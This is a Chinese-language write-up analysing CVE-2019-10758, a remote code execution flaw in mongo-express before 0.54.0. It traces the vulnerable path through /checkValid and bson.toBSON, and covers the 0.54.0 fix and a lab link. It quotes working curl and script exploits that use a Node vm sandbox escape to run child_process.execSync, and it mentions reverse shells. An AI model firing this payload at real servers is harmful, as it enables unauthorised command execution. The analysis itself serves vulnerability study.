cve-2019-10758 mongo-express rce 漏洞分析

下面是对漏洞的描述：

mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment.

环境搭建

漏洞复现需要准备的环境有：

MongoDB
node & npm
mongo-express < 0.54.0

因此可采用如下命令准备环境：

docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && npm start

漏洞分析

首先看一下作者贴的两个 exploit：

cURL exploit

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

Script exploit

node main.js
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

很明显从 exploit 中我们能明显得出以下两个结论：

存在 RCE 漏洞的代码位于 mongo-express/lib/bson
路由 /checkValid 从外部接收输入，并调用了存在 RCE 漏洞的代码，由此存在被攻击的风险

首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js：

const router = function (config) {// 省略其他无关代码const appRouter = express.Router();appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);return appRouter;
}

继续定位 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js：

var routes = function (config) {// 省略其他无关代码var exp = {};exp.checkValid = function (req, res) {var doc = req.body.document;try {bson.toBSON(doc);} catch (err) {console.error(err);return res.send('Invalid');}res.send('Valid');};return exp;
}

可以很明显看到这里会从 POST 请求中读取 document 并作为参数继续调用 bson.toBSON(doc);，而根据我们之前的分析，漏洞代码有 99% 的可能性位于 bson.toBSON 函数内，所以继续分析源码，https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js：

var mongodb = require('mongodb');
var vm      = require('vm');
var json    = require('./json');// 省略一些无关代码//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {var sandbox = exports.getSandbox();string = string.replace(/ISODate\(/g, 'new ISODate(');string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');vm.runInNewContext('doc = eval((' + string + '));', sandbox);return sandbox.doc;
};// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {try {var bsonObject = exports.toBSON(string);return bsonObject;} catch (err) {return null;}
};

重点出现！>>> vm.runInNewContext('doc = eval((' + string + '));', sandbox);

对 nodejs 的沙箱逃逸有所关注的朋友很容易就能注意到这段代码和 vm 沙盒逃逸代码 demo 的惊人相似：

const vm = require('vm');vm.runInNewContext('this.constructor.constructor("return process")().exit()');

在这里，由于用户输入的最终会被拼接上 eval，所以很容易就能导致 RCE。可以看到作者的 exploit 就是获得全局上下文后直接导入 child_process 来执行系统命令：

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

不过由于这是个没有回显的 RCE，因此在实际漏洞利用的时候可能需要反弹 shell 之类的操作来辅助漏洞的利用。

攻击链回顾

路由 /checkValid 可以接收用户的输入，并将其作为参数调用存在漏洞的 bson.toBSON 函数
bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码
恶意代码在执行时成功沙盒逃逸，任意代码执行

漏洞修复

查看修复了漏洞的 v0.54.0 版本的源代码，https://github.com/mongo-express/mongo-express/blob/v0.54.0/lib/bson.js，可以看到作者废弃了之前 vm + eval 的思路，使用了另一个库来实现该功能：

const parser = require('mongodb-query-parser');
// 省略无关代码
exports.toBSON = function (string) {return parser(string);
};// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {try {var bsonObject = exports.toBSON(string);return bsonObject;} catch (err) {return null;}
};

好吧，既然没有了 vm 那当然没有沙盒逃逸更没有 RCE 了 :(

补充：vm 沙盒逃逸

写到这里再来补充点 vm 沙盒逃逸的知识，方便加深大家对该漏洞的理解：

以漏洞代码为例：

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

这段代码等价于：

const vm = require('vm');const script = new vm.Script('doc = eval((' + string + '));');
const context = vm.createContext(sandbox);script.runInContext(context);

对象 sandbox 就是 vm 中脚本执行时的上下文环境 context，vm 脚本中全局 this 指向的就是该对象。

然后如果我们的输入是上文所示的 exploit 的话， vm 中的代码大致等价为：

// this -> 传入的 sandbox
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量
const process = myfun(); // 获得全局 process 变量
process.mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator") // 全局变量简直为所欲为

可以看到 vm 模块不安全的核心问题在于：vm 内脚本的 context 对象是在主程序中定义的，根据 JS 原型链原理，可以轻松获得主程序中的 Function 对象。然后如果用主程序的 Function 对象构造一个函数，那么该函数运行时的上下文环境必然位于主程序中，由此获得了主程序的上下文环境，成功沙盒逃逸！

靶机环境：
https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/